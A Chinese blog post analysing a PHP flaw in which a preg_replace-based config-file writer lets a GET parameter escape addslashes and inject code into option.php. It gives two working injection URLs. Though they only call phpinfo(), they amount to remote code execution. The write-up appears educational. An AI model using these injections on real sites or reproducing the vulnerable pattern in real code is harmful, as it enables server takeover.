PHP正则配合写配置文件导致Getshell
PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题。
分析一下,漏洞代码:
index.php
<?php
$str=addslashes($_GET['option']);
$file=file_get_contents('option.php');
$file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
echo $file;
file_put_contents('option.php', $file);
?>
option.php
<?php
$option='';
?>
现在来分析一下代码:
- 对传入的 option 参数进行 addslashes ,比如有单引号
'
,会变成\'
- 通过正则匹配 option.php 中的
$option='123';
,将123的内容替换为经第一步处理的值。 - 替换完成,将其写入 option.php。
场景:写入配置文件。
方法一(利用正则的.*、单引号):
先访问:
http://127.0.0.1/test/index.php?option=123';%0aphpinfo();//
经过 addslashes 后,$str 值为 123\';%0aphpinfo();//
进行正则匹配并写入文件,option.php 的内容变为:
<?php
$option='123\';
phpinfo();//';
?>
再访问:
http://127.0.0.1/test/index.php?option=123
正则匹配时,会将两个单引号里的内容即 123\
,替换为 123
,此时 option.php 的内容变为
<?php
$option='';
phpinfo();//';
?>
最后访问:http://127.0.0.1/test/option.php
成功 Getshell
方法二(利用preg_replace的转义):
访问:
http://127.0.0.1/test/index.php?option=123\';phpinfo();//
经过 addslashes 后,$str 为 123\\\';phpinfo();//
虽然 addslashes 将\
转义为\\
但是经过preg_replace正则匹配处理后\\
又变为了\ ,三个\\\变成了两个\\
所以最后写入文件option.php 的内容变为:
<?php
$option='123\\';phpinfo();//';
?>
访问:http://127.0.0.1/test/option.php
成功 Getshell
原文链接:http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html
任重而道远!
PHP正则配合写配置文件导致Getshell的更多相关文章
- 漏洞:阿里云盾phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导致GETSHELL
阿里云盾提示phpMyAdmin <=4.8.1会出现漏洞有被SHELL风险,具体漏洞提醒: 标题 phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导 ...
- JS利用正则配合replace替换指定字符
替换指定字符的方法有很多,在本文为大家详细介绍下,JS利用正则配合replace是如何做到的,喜欢的朋友可以参考下 定义和用法 replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一 ...
- $Django importlib与dir知识,手写配置文件, 配置查找顺序 drf分页器&drf版本控制
1 importlib与dir知识 # importlib简介动态导入字符串模块 # 常规导入 from ss.aa import b from ss import a print(b,type(b ...
- 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题
最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...
- WebApi 数据保护操作未成功。这可能是由于未为当前线程的用户上下文加载用户配置文件导致的。当线程执行模拟时,可能会出现此情况。","ExceptionType":"System.Security.Cryptography.CryptographicException","StackTrace
在调用System.Security.Cryptography.ProtectedData.Protect方法来保护私密信息时,IIS可能会报以下错误:CryptographicException: ...
- android上如何写配置文件
android上如何写配置文件:使用SharedPreferences SharedPreferences是Android平台上一个轻量级的存储类,用来保存应用的一些常用配置,比如Activity状态 ...
- 在spring boot使用总结(九) 使用yaml语言来写配置文件
yaml是专门用来写配置文件的语言.使用yaml来写配置文件扩展性比较强而且十分方便.spring boot支持使用yaml语言来写配置文件,使用snakeyaml库来读取配置文件.spring bo ...
- 【代码审计】EasySNS_V1.6远程图片本地化导致Getshell
0x00 环境准备 EasySNS官网:http://www.imzaker.com 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/inde ...
- 内存写越界导致破环堆结构引起的崩溃问题定位经验[如报错malloc(): memory corruption或free(): invalid next size]
前段时间开发的一个后端C模块上线后,线上出core,初始时,因为訪问压力不大,所以崩溃是上线3天左右出现的.当时用gdb跟进调用堆栈并检查源代码,发现出core位置的代码沒有啥问题.因为当时开发任务较 ...
随机推荐
- 每天进步一点点-Java IO操作-Java Serializable(对象序列化)的理解和总结
往硬盘文件里写数据 序列化:序列化是将对象转换为容易传输的格式的过程.例如,可以序列化一个对象,然后使用 HTTP 通过 Internet 在客户端和服务器之间传输该对象.在另一端,反序列化将从该流重 ...
- mino federation 功能
mino federation 可以让我们进行 bucket的查找,实现更灵活的分布式控制 其中依赖了几个组件 coredns etcd 参考架构图 说明 官方也提供了一个简单的部署的demo,总的来 ...
- 03关于C的数组指针
一.数组与指针有什么关系 (1)地址 数组名就是一个地址,指向一个数组的开端. 从实验结果我们可以看出前三个地址都是一样的,都是数组的开始地址,而最后一个是数组的第二个元素,因为是整型数据,地址加4. ...
- C# 键盘响应事件及键值对照表
键盘响应事件总结 键盘响应事件是在用户按下某个键后触发的事件,可以是任意操作,但不是任意键都可以被捕获的. 原型:public event KeyPressEventHandler KeyPress ...
- mysql之 mysql_config_editor/login-path 登录密码保护
login-path是MySQL5.6开始支持的新特性.通过借助mysql_config_editor工具将登陆MySQL服务的认证信息加密保存在.mylogin.cnf文件(默认位于用户主目录) . ...
- Python问题汇总
1.dict is not callable tree是一个字典类型. tree("left") -> tree["left"] 2.list ind ...
- 基于Eclipse搭建hadoop开发环境
一.基础环境准备 1.Eclipse 下载地址:http://pan.baidu.com/s/1slArxAP 2.JDK1.8 下载地址:http://pan.baidu.com/s/1i5iNy ...
- java的几种对象(po,dto,dao等)
j2ee中,经常提到几种对象(object),理解他们的含义有助于我们更好的理解面向对象的设计思维. POJO(plain old java object):普通的java对象,有别于特殊的j ...
- Thinkphp自定义标签
1.定义TagLib目录和文件 TagLibSmarTop.class.php 2.配置文件 <?php return array( 'APP_AUTOLOAD_PATH'=>'@.Ta ...
- ELK Stack 笔记
ELK Stack ELK Stack ELK Stack ELK 介绍 架构 Elasticsearch 安装 常见问题 关闭 Elasticsearch Elasticsearch-head Ki ...